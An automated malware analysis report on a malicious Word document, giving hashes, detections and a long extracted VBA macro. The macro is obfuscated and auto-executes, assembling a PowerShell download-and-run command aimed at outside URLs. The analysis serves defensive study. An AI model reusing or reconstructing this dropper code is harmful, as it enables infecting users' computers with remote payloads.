Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d76ed0c53d598010…

MALICIOUS

Office (OLE)

191.5 KB Created: 2017-03-23 13:13:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 05c52b6de0cff9097cca13ee6b9b9277 SHA-1: cddef82e0b776e165b4ae289c173fba60a554d80 SHA-256: d76ed0c53d598010ab4e37e25921be815e8ced3e0b4a2e9c8a39acbfd2ccf83b
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro utilizes WScript.Shell and CreateObject to execute arbitrary code, likely to download and run a second-stage payload. The ClamAV detection 'Doc.Downloader.Donoff-6152250-1' further supports its role as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Donoff-6152250-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Donoff-6152250-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    End If
    Set qCfosAyN = CreateObject("WScript.Shell")
    Dim Y9LUl, NcGlGl, KLbfnAKj, MQJwDb As Long
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End If
    Set qCfosAyN = CreateObject("WScript.Shell")
    Dim Y9LUl, NcGlGl, KLbfnAKj, MQJwDb As Long
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    ' Tempestuous
    Call CallByName(qCfosAyN, uNcLzz("WjoEb", "rWjoEbuWjoEbnWjoEb", 1), -9135 + 9136, ffUxUaoid, 0)
    End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub AutoOpen()
    Dim lZZ4Ua, SD3Df, ucBxsL, GyhYwEG As Integer
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35480 bytes
SHA-256: 38e45324ee18f5f14d1aa023793c57af2829a84560370b5fcc0eeb76b94d3d99
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim lZZ4Ua, SD3Df, ucBxsL, GyhYwEG As Integer
lZZ4Ua = 100
If 30000 * 1 < lZZ4Ua Then
SD3Df = 48
ucBxsL = 48
GyhYwEG = 48
MsgBox "R", 1048576, "R"
Else
SD3Df = 34
ucBxsL = 34
GyhYwEG = 34
End If
' Intertwined roe
Dim RakKqa As Integer
Dim Naopk2yB As Integer
Dim TNft2el As Integer
Dim nKuRwES As Integer
RakKqa = 79
If 30000 * 1 < RakKqa Then
Naopk2yB = 39
TNft2el = 39
nKuRwES = 39
MsgBox "raiseeventStringOr", 64, "raiseeventStringOr"
Else
Naopk2yB = 226
TNft2el = 226
nKuRwES = 226
End If
Set qCfosAyN = CreateObject("WScript.Shell")
Dim Y9LUl, NcGlGl, KLbfnAKj, MQJwDb As Long
Y9LUl = 121
If 30000 * 1 < Y9LUl Then
NcGlGl = 49
KLbfnAKj = 49
MQJwDb = 49
MsgBox "remDefsngInteger", 2, "remDefsngInteger"
Else
NcGlGl = 203
KLbfnAKj = 203
MQJwDb = 203
End If
Dim MLaDYDiM, RGPtRM, cpaBhuB, D3qFrmR As Long
MLaDYDiM = 105
If 30000 * 1 < MLaDYDiM Then
RGPtRM = 26
cpaBhuB = 26
D3qFrmR = 26
MsgBox "mV", 3, "mV"
Else
RGPtRM = 30
cpaBhuB = 30
D3qFrmR = 30
End If
' Dat commander
VDP8hUV = uNcLzz("gYVy5W", "hgYVy5W)gYVy5W;gYVy5WSgYVy5WtgYVy5WagYVy5WrgYVy5WtgYVy5W-gYVy5WPgYVy5WrgYVy5WogYVy5WcgYVy5WegYVy5W", 1)
Dim yhRvn As Integer
Dim xGvHTdu As Integer
Dim gXTBb1 As Integer
Dim sDds0B As Integer
yhRvn = 78
If 30000 * 1 < yhRvn Then
xGvHTdu = 27
gXTBb1 = 27
sDds0B = 27
MsgBox "UECdi25lt", 16384, "UECdi25lt"
Else
xGvHTdu = 41
gXTBb1 = 41
sDds0B = 41
End If
Dim TuJYnol As Long
Dim hjHZehBhN As Long
Dim JvtSsOC As Long
Dim YCj4Eeo As Long
TuJYnol = 97
If 30000 * 1 < TuJYnol Then
hjHZehBhN = 48
JvtSsOC = 48
YCj4Eeo = 48
MsgBox "viewing exchange ermine", 1048576, "viewing exchange ermine"
Else
hjHZehBhN = 234
JvtSsOC = 234
YCj4Eeo = 234
End If
' Stranger conjugal adventures nominative
oq5ih = uNcLzz("QYfb", "sQYfbsQYfb QYfb$QYfbpQYfbaQYfbtQYfbhQYfb;QYfbbQYfbrQYfbeQYfbaQYfbkQYfb", 1)
Dim aaNKKEPF As Long
Dim onCGe As Long
Dim HWt5Lsu As Long
Dim jEJJHwZ As Long
aaNKKEPF = 103
If 30000 * 1 < aaNKKEPF Then
onCGe = 59
HWt5Lsu = 59
jEJJHwZ = 59
MsgBox "iISIdz", 32, "iISIdz"
Else
onCGe = 144
HWt5Lsu = 144
jEJJHwZ = 144
End If
' Warming rebel husbandman ranges
HGCSC = uNcLzz("uNNp", "SuNNptuNNpruNNpiuNNpnuNNpguNNp(uNNp)uNNp,uNNp uNNp$uNNppuNNpauNNptuNNp", 1)
Dim zuGfYm, KXNpufS, RBaNE, fkpwUq As Integer
zuGfYm = 95
If 30000 * 1 < zuGfYm Then
KXNpufS = 45
RBaNE = 45
fkpwUq = 45
MsgBox "Jennifer interpose mum", vbDefaultButton4, "Jennifer interpose mum"
Else
KXNpufS = 106
RBaNE = 106
fkpwUq = 106
End If
QsUeH = uNcLzz("OHwp", "cOHwpmOHwpdOHwp OHwp/OHwpcOHwp OHwpsOHwptOHwpaOHwprOHwptOHwp OHwp/OHwp", 1)
Dim SjhQL As Integer
Dim AygYB As Integer
Dim DWRfyh As Integer
Dim HXdY9TUE As Integer
SjhQL = 68
If 30000 * 1 < SjhQL Then
AygYB = 24
DWRfyh = 24
HXdY9TUE = 24
MsgBox "xrWONVz", 65536, "xrWONVz"
Else
AygYB = 85
DWRfyh = 85
HXdY9TUE = 85
End If
' Whiles intuitive
Dim xh3lGxo, ytI3vflYN, aonPF, Yxtpi As Integer
xh3lGxo = 128
If 30000 * 1 < xh3lGxo Then
ytI3vflYN = 23
aonPF = 23
Yxtpi = 23
MsgBox "inputboxPublishreportTan", 256, "inputboxPublishreportTan"
Else
ytI3vflYN = 92
aonPF = 92
Yxtpi = 92
End If
L5FLET = uNcLzz("SurEyn", "bSurEynjSurEyneSurEyncSurEyntSurEyn SurEynrSurEynaSurEynnSurEyndSurEynoSurEynmSurEyn;SurEyn$SurEyn", 1)
Dim W4WmD As Long
Dim X8CHEDKm As Long
Dim eeuXmYDb As Long
Dim LVIeu0 As Long
W4WmD = 89
If 30000 * 1 < W4WmD Then
X8CHEDKm = 56
eeuXmYDb = 56
LVIeu0 = 56
MsgBox "Intellectually bridget seaport", vbExclamation, "Intellectually bridget seaport"
Else
X8CHEDKm = 206
eeuXmYDb = 206
LVIeu0 = 206
End If
Dim fcUiwt, yld1CE, YSClKbv, QzVXqA7m As Integer
fcUiwt = 122
If 30000 * 1 < fcUiwt Then
yld1CE = 46
YSClKbv = 46
QzVXqA7m = 46
MsgBox "TvDJB", 5, "TvDJB"
Else
yld1CE = 82
YSClKbv = 82
QzVXqA7m = 82
End If
MCv3IS = uNcLzz("AmBW", "rAmBWeAmBWaAmBWcAmBWhAmBW(AmBW$AmBWuAmBWrAmBWlAmBW AmBWiAmBWnAmBW AmBW", 1)
Dim tEIprg, T3VINCqH, T3CyXYcZ, K1qMbEU As Integer
tEIprg = 103
If 30000 * 1 < tEIprg Then
T3VINCqH = 63
T3CyXYcZ = 63
K1qMbEU = 63
MsgBox "thats sugar tri spiritual", 1048576, "thats sugar tri spiritual"
Else
T3VINCqH = 101
T3CyXYcZ = 101
K1qMbEU = 101
End If
Dim baxePRF As Integer
Dim if1hX3 As Integer
Dim v2lIqZS As Integer
Dim SkUUkHP As Integer
baxePRF = 109
If 30000 * 1 < baxePRF Then
if1hX3 = 31
v2lIqZS = 31
SkUUkHP = 31
MsgBox "black flutes alternate monitor", vbOKCancel, "black flutes alternate monitor"
Else
if1hX3 = 222
v2lIqZS = 222
SkUUkHP = 222
End If
' Fabian lyric fluid
UTNqa5 = uNcLzz("mkoR", "dmkoRdmkoRemkoRnmkoR mkoR$mkoRwmkoRsmkoRcmkoRrmkoRimkoRpmkoRtmkoR mkoR", 1)
Dim xzZq5VB, PKQDQXu, BTYSWj, scqFxt As Integer
xzZq5VB = 117
If 30000 * 1 < xzZq5VB Then
PKQDQXu = 44
BTYSWj = 44
scqFxt = 44
MsgBox "Chuckle leslie noise sphinx circuit glimmered equality", vbDefaultButton1, "Chuckle leslie noise sphinx circuit glimmered equality"
Else
PKQDQXu = 157
BTYSWj = 157
scqFxt = 157
End If
Dim seuLRZb, j7mMh6, bsDmGfq, RXnFM As Long
seuLRZb = 113
If 30000 * 1 < seuLRZb Then
j7mMh6 = 40
bsDmGfq = 40
RXnFM = 40
MsgBox "hPSjTi", vbDefaultButton3, "hPSjTi"
Else
j7mMh6 = 168
bsDmGfq = 168
RXnFM = 168
End If
' Talkative aruba baseball seducer orientation
viJqOt = uNcLzz("T8PG", "bT8PG T8PGpT8PGoT8PGwT8PGeT8PGrT8PGsT8PGhT8PGeT8PGlT8PGlT8PG T8PG-T8PG", 1)
Dim EZPvswlg As Long
Dim NpHyqE As Long
Dim YwXeyhBLQ As Long
Dim NF2GR6Q As Long
EZPvswlg = 109
If 30000 * 1 < EZPvswlg Then
NpHyqE = 17
YwXeyhBLQ = 17
NF2GR6Q = 17
MsgBox "randomThenTimevalue", 2, "randomThenTimevalue"
Else
NpHyqE = 125
YwXeyhBLQ = 125
NF2GR6Q = 125
End If
Dim nGjC5PQ As Integer
Dim hYNWQzE As Integer
Dim ymxSnS As Integer
Dim L4ZfCn As Integer
nGjC5PQ = 95
If 30000 * 1 < nGjC5PQ Then
hYNWQzE = 52
ymxSnS = 52
L4ZfCn = 52
MsgBox "nothingGetCos", vbYesNo, "nothingGetCos"
Else
hYNWQzE = 29
ymxSnS = 29
L4ZfCn = 29
End If
' Camcorder cottage quick spine spill hating
ek7IuO3 = uNcLzz("pouopt", "bpouoptcpouoptlpouoptipouoptepouoptnpouopttpouopt.pouoptDpouoptopouoptwpouoptnpouoptlpouoptopouopt", 1)
Dim I6Lqf, G3alQ0g, IJNnAZm, KpcQTG As Integer
I6Lqf = 103
If 30000 * 1 < I6Lqf Then
G3alQ0g = 64
IJNnAZm = 64
KpcQTG = 64
MsgBox "mrsMs", vbApplicationModal, "mrsMs"
Else
G3alQ0g = 145
IJNnAZm = 145
KpcQTG = 145
End If
' Candidacy missions
Dim oeljE As Long
Dim nmRBs As Long
Dim QpJ8LOi As Long
Dim OOfZjIn As Long
oeljE = 111
If 30000 * 1 < oeljE Then
nmRBs = 40
QpJ8LOi = 40
OOfZjIn = 40
MsgBox "MbHer", 4, "MbHer"
Else
nmRBs = 247
QpJ8LOi = 247
OOfZjIn = 247
End If
o8IDEWH = uNcLzz("EHhM", "mEHhMpEHhM EHhM+EHhM EHhM'EHhM\EHhM'EHhM EHhM+EHhM EHhM$EHhMnEHhMaEHhM", 1)
Dim URz3J As Long
Dim SL5aY As Long
Dim TlHyg0b As Long
Dim eo5qkG As Long
URz3J = 104
If 30000 * 1 < URz3J Then
SL5aY = 40
TlHyg0b = 40
eo5qkG = 40
MsgBox "Whom dispatched determining utilize ge enjoyed quaver", vbMsgBoxRtlReading, "Whom dispatched determining utilize ge enjoyed quaver"
Else
SL5aY = 84
TlHyg0b = 84
eo5qkG = 84
End If
kax3mAl = uNcLzz("rOhb", "erOhb rOhb=rOhb rOhb$rOhbrrOhbarOhbnrOhbdrOhborOhbmrOhb.rOhbnrOhberOhb", 1)
Dim qfG5W As Integer
Dim yQp13J As Integer
Dim gwxEQD As Integer
Dim GtyPF As Integer
qfG5W = 72
If 30000 * 1 < qfG5W Then
yQp13J = 63
gwxEQD = 63
GtyPF = 63
MsgBox "tanLoadIf", 4, "tanLoadIf"
Else
yQp13J = 235
gwxEQD = 235
GtyPF = 235
End If
Dim ydcqxx, otqnP, EOwJeIg, EETnmg As Integer
ydcqxx = 86
If 30000 * 1 < ydcqxx Then
otqnP = 48
EOwJeIg = 48
EETnmg = 48
MsgBox "uumWI2xC", 1048576, "uumWI2xC"
Else
otqnP = 194
EOwJeIg = 194
EETnmg = 194
End If
' Portal fealty rigged
BggYvxxt = uNcLzz("xvIz6n", "vxvIz6nexvIz6nlxvIz6nsxvIz6naxvIz6npxvIz6nixvIz6n.xvIz6nexvIz6nxxvIz6nexvIz6n'xvIz6n.xvIz6nSxvIz6n", 1)
Dim JXpEEAx As Integer
Dim uaGbNxf As Integer
Dim wBqrJ As Integer
Dim UUlQQ As Integer
JXpEEAx = 76
If 30000 * 1 < JXpEEAx Then
uaGbNxf = 58
wBqrJ = 58
UUlQQ = 58
MsgBox "openIsRset", vbDefaultButton3, "openIsRset"
Else
uaGbNxf = 209
wBqrJ = 209
UUlQQ = 209
End If
JiMQFQ = uNcLzz("C66bV", "xC66bVtC66bV(C66bV1C66bV,C66bV C66bV6C66bV5C66bV5C66bV3C66bV6C66bV)C66bV;C66bV$C66bV", 1)
Dim IHnGa As Long
Dim vAjXo As Long
Dim Bf5ZVR As Long
Dim fFxOz As Long
IHnGa = 82
If 30000 * 1 < IHnGa Then
vAjXo = 33
Bf5ZVR = 33
fFxOz = 33
MsgBox "fx", 64, "fx"
Else
vAjXo = 196
Bf5ZVR = 196
fFxOz = 196
End If
gnPDxk = uNcLzz("A6cwM", "bA6cwMjA6cwMeA6cwMcA6cwMtA6cwM A6cwMSA6cwMyA6cwMsA6cwMtA6cwMeA6cwMmA6cwM.A6cwMNA6cwM", 1)
Dim BLykWPf As Long
Dim gLJjG As Long
Dim CmLiuKc As Long
Dim ZXQ57FZ As Long
BLykWPf = 114
If 30000 * 1 < BLykWPf Then
gLJjG = 38
CmLiuKc = 38
ZXQ57FZ = 38
MsgBox "lofLoadStrconv", vbMsgBoxRtlReading, "lofLoadStrconv"
Else
gLJjG = 70
CmLiuKc = 70
ZXQ57FZ = 70
End If
' Pretender spots solomon johannes vermilion
Dim YvZTN, JnCKn, MHp2TKq, zrxgLzob As Long
YvZTN = 121
If 30000 * 1 < YvZTN Then
JnCKn = 53
MHp2TKq = 53
zrxgLzob = 53
MsgBox "Clark red boulder", 1048576, "Clark red boulder"
Else
JnCKn = 226
MHp2TKq = 226
zrxgLzob = 226
End If
' Banana perception foible
JSroOBZ = uNcLzz("d8YMsV", "md8YMsVed8YMsV d8YMsV+d8YMsV d8YMsV'd8YMsV.d8YMsVed8YMsVxd8YMsVed8YMsV'd8YMsV;d8YMsVfd8YMsVod8YMsV", 1)
Dim wLw3txu As Integer
Dim gOi2lAq As Integer
Dim s9FQHr As Integer
Dim kdQnOT As Integer
wLw3txu = 85
If 30000 * 1 < wLw3txu Then
gOi2lAq = 39
s9FQHr = 39
kdQnOT = 39
MsgBox "zk", vbOKCancel, "zk"
Else
gOi2lAq = 135
s9FQHr = 135
kdQnOT = 135
End If
' Ups passion disillusion digger concept hk
Dim LEfhHS, LqKhcggZ, DHOuOeVx, Of3KzyxH As Integer
LEfhHS = 69
If 30000 * 1 < LEfhHS Then
LqKhcggZ = 26
DHOuOeVx = 26
Of3KzyxH = 26
MsgBox "rndSpcFunction", 65536, "rndSpcFunction"
Else
LqKhcggZ = 145
DHOuOeVx = 145
Of3KzyxH = 145
End If
' Arising currency
CzMBAA = uNcLzz("gARzfE", "egARzfEtgARzfE.gARzfEWgARzfEegARzfEbgARzfECgARzfElgARzfEigARzfEegARzfEngARzfEtgARzfE;gARzfE$gARzfE", 1)
Dim BI2Jmz As Integer
Dim PdDzU As Integer
Dim P4chU As Integer
Dim LDyOH As Integer
BI2Jmz = 75
If 30000 * 1 < BI2Jmz Then
PdDzU = 23
P4chU = 23
LDyOH = 23
MsgBox "echdire", vbDefaultButton3, "echdire"
Else
PdDzU = 210
P4chU = 210
LDyOH = 210
End If
Dim Mep1yCybb As Long
Dim y3Oo8LI As Long
Dim A67ms3yU As Long
Dim Vcexglw As Long
Mep1yCybb = 122
If 30000 * 1 < Mep1yCybb Then
y3Oo8LI = 33
A67ms3yU = 33
Vcexglw = 33
MsgBox "Usurper emission forum", vbRetryCancel, "Usurper emission forum"
Else
y3Oo8LI = 133
A67ms3yU = 133
Vcexglw = 133
End If
' Aphorism deviant disability outdoors characters
sGnwma8K = uNcLzz("J4Au", "aJ4AudJ4AuFJ4AuiJ4AulJ4AueJ4Au(J4Au$J4AuuJ4AurJ4AulJ4Au.J4AuTJ4AuoJ4Au", 1)
Dim YI128aK, KqLgZPB, rwSsNPUUs, nkePsNSWe As Long
YI128aK = 71
If 30000 * 1 < YI128aK Then
KqLgZPB = 32
rwSsNPUUs = 32
nkePsNSWe = 32
MsgBox "Substratum circle", vbOKOnly, "Substratum circle"
Else
KqLgZPB = 90
rwSsNPUUs = 90
nkePsNSWe = 90
End If
' Ended justin
Dlq8ul = uNcLzz("sBDH10", "psBDH10lsBDH10isBDH10tsBDH10(sBDH10'sBDH10,sBDH10'sBDH10)sBDH10;sBDH10$sBDH10nsBDH10asBDH10msBDH10", 1)
Dim mvKLt As Long
Dim a2Panal As Long
Dim OJpRskQ As Long
Dim CM6Mv As Long
mvKLt = 79
If 30000 * 1 < mvKLt Then
a2Panal = 60
OJpRskQ = 60
CM6Mv = 60
MsgBox "AV5ju", vbDefaultButton2, "AV5ju"
Else
a2Panal = 60
OJpRskQ = 60
CM6Mv = 60
End If
VEriI = uNcLzz("YAfSMz", "$YAfSMzuYAfSMzrYAfSMzlYAfSMzsYAfSMz)YAfSMz{YAfSMztYAfSMzrYAfSMzyYAfSMz{YAfSMz$YAfSMzwYAfSMzeYAfSMz", 1)
Dim SSXpCvF As Integer
Dim agnKM As Integer
Dim PSdqxj As Integer
Dim NqZYf As Integer
SSXpCvF = 108
If 30000 * 1 < SSXpCvF Then
agnKM = 50
PSdqxj = 50
NqZYf = 50
MsgBox "Sox", VbMsgBoxSetForeground, "Sox"
Else
agnKM = 104
PSdqxj = 104
NqZYf = 104
End If
Dim GWWzg, ySJNG, VCq6RMT, vODnk As Long
GWWzg = 110
If 30000 * 1 < GWWzg Then
ySJNG = 27
VCq6RMT = 27
vODnk = 27
MsgBox "Sweeten", vbApplicationModal, "Sweeten"
Else
ySJNG = 227
VCq6RMT = 227
vODnk = 227
End If
' Abrogated gardening
sgHHCyij = uNcLzz("U5GRcQ", "hU5GRcQoU5GRcQsU5GRcQtU5GRcQ U5GRcQ$U5GRcQ_U5GRcQ.U5GRcQEU5GRcQxU5GRcQcU5GRcQeU5GRcQpU5GRcQtU5GRcQ", 1)
Dim PSw0wa As Long
Dim kKKXpMM As Long
Dim uZPSsxlL As Long
Dim HJnTR As Long
PSw0wa = 64
If 30000 * 1 < PSw0wa Then
kKKXpMM = 16
uZPSsxlL = 16
HJnTR = 16
MsgBox "L2", 512, "L2"
Else
kKKXpMM = 214
uZPSsxlL = 214
HJnTR = 214
End If
fkuAxq = uNcLzz("Kqd1w", "aKqd1woKqd1wnKqd1wlKqd1wiKqd1wnKqd1weKqd1w.Kqd1wcKqd1woKqd1wmKqd1w/Kqd1wTKqd1wrKqd1w", 1)
Dim FfyXM8, rNLuKAyh, HmuwjF, MjTiZb3X As Long
FfyXM8 = 106
If 30000 * 1 < FfyXM8 Then
rNLuKAyh = 17
HmuwjF = 17
MjTiZb3X = 17
MsgBox "PccurP", 768, "PccurP"
Else
rNLuKAyh = 21
HmuwjF = 21
MjTiZb3X = 21
End If
' Florin refraction fillet terrorists
IDJkU = uNcLzz("nKAII", "rnKAIIanKAIInnKAIIdnKAIIonKAIImnKAII nKAII=nKAII nKAIInnKAIIenKAIIwnKAII-nKAIIonKAII", 1)
Dim sYMFhPJq As Long
Dim OceZws As Long
Dim u3SNh4w As Long
Dim II1pO1z As Long
sYMFhPJq = 72
If 30000 * 1 < sYMFhPJq Then
OceZws = 36
u3SNh4w = 36
II1pO1z = 36
MsgBox "g", vbYesNo, "g"
Else
OceZws = 205
u3SNh4w = 205
II1pO1z = 205
End If
' Cinders
uyhU6z = uNcLzz("zgQq", ";zgQq}zgQqczgQqazgQqtzgQqczgQqhzgQq{zgQqwzgQqrzgQqizgQqtzgQqezgQq-zgQq", 1)
Dim rUlpOJ, wjfoYK, VNrmNy, MQLbmD As Long
rUlpOJ = 77
If 30000 * 1 < rUlpOJ Then
wjfoYK = 45
VNrmNy = 45
MQLbmD = 45
MsgBox "Jo assessments samples uplift rapids computers chaldea emission", vbInformation, "Jo assessments samples uplift rapids computers chaldea emission"
Else
wjfoYK = 29
VNrmNy = 29
MQLbmD = 29
End If
OLHgLBfu = uNcLzz("wwMF", "/wwMFtwwMFrwwMFawwMFvwwMFewwMFlwwMFwwwMFiwwMFtwwMFhwwMFlwwMFiwwMFswwMF", 1)
Dim UzCEI As Long
Dim AXWb7 As Long
Dim LoEenuO As Long
Dim zhbhfnP As Long
UzCEI = 125
If 30000 * 1 < UzCEI Then
AXWb7 = 17
LoEenuO = 17
zhbhfnP = 17
MsgBox "yUAXLUN", vbApplicationModal, "yUAXLUN"
Else
AXWb7 = 247
LoEenuO = 247
zhbhfnP = 247
End If
' Decorative lout
ZR6F8LDV = uNcLzz("dFKln", "idFKlnodFKlnndFKln.dFKlnMdFKlnedFKlnsdFKlnsdFKlnadFKlngdFKlnedFKln;dFKln}dFKln}dFKln", 1)
Dim gwhVT As Long
Dim yKxmWAX As Long
Dim SqBCj As Long
Dim rCjEP As Long
gwhVT = 75
If 30000 * 1 < gwhVT Then
yKxmWAX = 24
SqBCj = 24
rCjEP = 24
MsgBox "worthy jeopardy pertinent hentai", vbAbortRetryIgnore, "worthy jeopardy pertinent hentai"
Else
yKxmWAX = 208
SqBCj = 208
rCjEP = 208
End If
' Nicaragua duchy attacked canonical alum
n8S9F = uNcLzz("STEWS", "CSTEWSoSTEWSmSTEWSOSTEWSbSTEWSjSTEWSeSTEWScSTEWStSTEWS STEWSWSTEWSSSTEWScSTEWSrSTEWS", 1)
Dim HcYXKR6C, fpUIfX, oYG8OUN, JLMgNfn As Long
HcYXKR6C = 92
If 30000 * 1 < HcYXKR6C Then
fpUIfX = 29
oYG8OUN = 29
JLMgNfn = 29
MsgBox "lW", vbOKOnly, "lW"
Else
fpUIfX = 20
oYG8OUN = 20
JLMgNfn = 20
End If
WvUGAJe = uNcLzz("imHYV", "iimHYVpimHYVtimHYV.imHYVSimHYVhimHYVeimHYVlimHYVlimHYV;imHYV$imHYVwimHYVeimHYVbimHYV", 1)
Dim BrZHnB, TYys8N, piqRbGM, XFQnV As Long
BrZHnB = 73
If 30000 * 1 < BrZHnB Then
TYys8N = 25
piqRbGM = 25
XFQnV = 25
MsgBox "IXHtaa", 2, "IXHtaa"
Else
TYys8N = 133
piqRbGM = 133
XFQnV = 133
End If
Dim afPaNR3Cx, S8i9Sw, HjLTPC, QTvNGhz As Integer
afPaNR3Cx = 66
If 30000 * 1 < afPaNR3Cx Then
S8i9Sw = 26
HjLTPC = 26
QTvNGhz = 26
MsgBox "dirFilelenMod", 65536, "dirFilelenMod"
Else
S8i9Sw = 230
HjLTPC = 230
QTvNGhz = 230
End If
' Blent
sut0UZNb = uNcLzz("rVbt", "urVbtrrVbtlrVbtsrVbt rVbt=rVbt rVbt'rVbthrVbttrVbttrVbtprVbt:rVbt/rVbt", 1)
Dim acf1iiJyI, e0eJEH, mdmfR, eBZOSqI6 As Long
acf1iiJyI = 64
If 30000 * 1 < acf1iiJyI Then
e0eJEH = 32
mdmfR = 32
eBZOSqI6 = 32
MsgBox "JGgyrP", vbExclamation, "JGgyrP"
Else
e0eJEH = 49
mdmfR = 49
eBZOSqI6 = 49
End If
NaZTwSe = uNcLzz("vnsu", "WvnsuivnsunvnsudvnsuovnsuwvnsuSvnsutvnsuyvnsulvnsuevnsu vnsuHvnsuivnsu", 1)
Dim MzUdhiS As Integer
Dim YiDtIQ6 As Integer
Dim NIhmR As Integer
Dim tglhJC As Integer
MzUdhiS = 81
If 30000 * 1 < MzUdhiS Then
YiDtIQ6 = 41
NIhmR = 41
tglhJC = 41
MsgBox "yew", 512, "yew"
Else
YiDtIQ6 = 150
NIhmR = 150
tglhJC = 150
End If
iARkxf = uNcLzz("RPiony", "pRPionyaRPionytRPionyhRPiony RPiony=RPiony RPiony$RPionyeRPionynRPionyvRPiony:RPionytRPionyeRPiony", 1)
Dim IDlUro As Long
Dim eovwJO4 As Long
Dim b3f7RV As Long
Dim QuPyWG As Long
IDlUro = 103
If 30000 * 1 < IDlUro Then
eovwJO4 = 42
b3f7RV = 42
QuPyWG = 42
MsgBox "A", vbDefaultButton1, "A"
Else
eovwJO4 = 59
b3f7RV = 59
QuPyWG = 59
End If
' Trainer valencia measles
Dim BtBBs1u As Integer
Dim uctZbmjM As Integer
Dim glPpw As Integer
Dim xdAj0Csw As Integer
BtBBs1u = 115
If 30000 * 1 < BtBBs1u Then
uctZbmjM = 29
glPpw = 29
xdAj0Csw = 29
MsgBox "HdMCR", 48, "HdMCR"
Else
uctZbmjM = 176
glPpw = 176
xdAj0Csw = 176
End If
gB8sBw = uNcLzz("YnPf", "cYnPflYnPfiYnPfeYnPfnYnPftYnPf YnPf=YnPf YnPfnYnPfeYnPfwYnPf-YnPfoYnPf", 1)
Dim enQzjNbz As Long
Dim fwMHYN As Long
Dim xPCwl As Long
Dim stXKD0a As Long
enQzjNbz = 70
If 30000 * 1 < enQzjNbz Then
fwMHYN = 27
xPCwl = 27
stXKD0a = 27
MsgBox "kZ", vbYesNo, "kZ"
Else
fwMHYN = 101
xPCwl = 101
stXKD0a = 101
End If
GXsfGZ = uNcLzz("eEIbVA", "=eEIbVA eEIbVAneEIbVAeeEIbVAweEIbVA-eEIbVAoeEIbVAbeEIbVAjeEIbVAeeEIbVAceEIbVAteEIbVA eEIbVA-eEIbVA", 1)
Dim gfHEWPi As Integer
Dim moZSiPrZ As Integer
Dim WlcObPq As Integer
Dim GNcPeXM As Integer
gfHEWPi = 127
If 30000 * 1 < gfHEWPi Then
moZSiPrZ = 63
WlcObPq = 63
GNcPeXM = 63
MsgBox "writeEmptyCompare", vbApplicationModal, "writeEmptyCompare"
Else
moZSiPrZ = 164
WlcObPq = 164
GNcPeXM = 164
End If
Dim DNjhkf As Integer
Dim fwGIa As Integer
Dim YCtA1ZD As Integer
Dim cfkKQ As Integer
DNjhkf = 127
If 30000 * 1 < DNjhkf Then
fwGIa = 62
YCtA1ZD = 62
cfkKQ = 62
MsgBox "PunCgW", VbMsgBoxSetForeground, "PunCgW"
Else
fwGIa = 159
YCtA1ZD = 159
cfkKQ = 159
End If
OaulPX = uNcLzz("yfQM", "ayfQMvyfQMeyfQMlyfQMiyfQMcyfQMiyfQMoyfQMuyfQMsyfQM/yfQMtyfQMryfQMayfQM", 1)
Dim ELNPTC As Integer
Dim sE4KFwdu As Integer
Dim kweQNVt As Integer
Dim mhEMe As Integer
ELNPTC = 85
If 30000 * 1 < ELNPTC Then
sE4KFwdu = 47
kweQNVt = 47
mhEMe = 47
MsgBox "m", VbMsgBoxSetForeground, "m"
Else
sE4KFwdu = 187
kweQNVt = 187
mhEMe = 187
End If
Dim DQllcgI2, OT0aEt14, ubiZG, gPjUaAiW As Integer
DQllcgI2 = 119
If 30000 * 1 < DQllcgI2 Then
OT0aEt14 = 33
ubiZG = 33
gPjUaAiW = 33
MsgBox "I", 1, "I"
Else
OT0aEt14 = 54
ubiZG = 54
gPjUaAiW = 54
End If
Dim ffUxUaoid As String
Dim Ve0RWQhI As Long
Dim jW3BPVTE As Long
Dim KV7JG As Long
Dim IVfLp7i As Long
Ve0RWQhI = 112
If 30000 * 1 < Ve0RWQhI Then
jW3BPVTE = 17
KV7JG = 17
IVfLp7i = 17
MsgBox "X", vbSystemModal, "X"
Else
jW3BPVTE = 230
KV7JG = 230
IVfLp7i = 230
End If
' Estimated arc authentication profit
Dim kqrNX4f, zxNGgiC, cbsav, W8UYLf As Integer
kqrNX4f = 104
If 30000 * 1 < kqrNX4f Then
zxNGgiC = 57
cbsav = 57
W8UYLf = 57
MsgBox "bprivateb", 32, "bprivateb"
Else
zxNGgiC = 46
cbsav = 46
W8UYLf = 46
End If
